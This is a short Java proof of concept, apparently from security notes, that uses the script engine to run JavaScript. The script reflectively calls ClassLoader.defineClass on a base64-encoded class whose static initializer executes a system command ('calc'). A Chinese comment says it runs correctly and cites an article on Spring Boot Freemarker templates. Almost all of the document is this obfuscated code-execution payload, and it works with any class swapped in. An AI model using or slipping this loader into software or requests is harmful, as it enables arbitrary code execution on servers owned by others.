import javax.script.ScriptEngineManager;
public class jsTest {
public static void main(String[] args) throws Exception {
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
String js = "classLoader=java.lang.Thread.currentThread().getContextClassLoader();\n" +
" b64cl = classLoader.loadClass(\"java.util.Base64\");\n" +
" decoder = b64cl.getDeclaredMethod(\"getDecoder\").invoke(null);\n" +
" b64 = \"yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAIAAkHABkMABoAGwEABGNhbGMMABwAHQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABVjb20vbGluZ3g1L0VudHJ5L3Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAgABAAgACQABAAoAAAAdAAEAAQAAAAUqtwABsQAAAAEACwAAAAYAAQAAAAUACAAMAAkAAQAKAAAARwACAAEAAAAOuAACEgO2AARXpwAES7EAAQAAAAkADAAFAAIACwAAABIABAAAAAgACQAKAAwACQANAAsADQAAAAcAAkwHAA4AAAEADwAAAAIAEA==\";\n" +
" bytes = decoder.decode(b64);\n" +
" ClassLoader1 = classLoader.loadClass(\"java.lang.ClassLoader\");\n" +
" byteType = \"\".getBytes().getClass();\n" +
" clsInt = java.lang.Integer.TYPE;\n" +
" defineClass = ClassLoader1.getDeclaredMethod(\"defineClass\", byteType, clsInt, clsInt);\n" +
" defineClass.setAccessible(true);\n" +
" clazz = defineClass.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();";
engine.eval(js);
}
}
可以正常执行
参考文章
Spring Boot 整合 Freemarker 模板引擎 - spring 中文网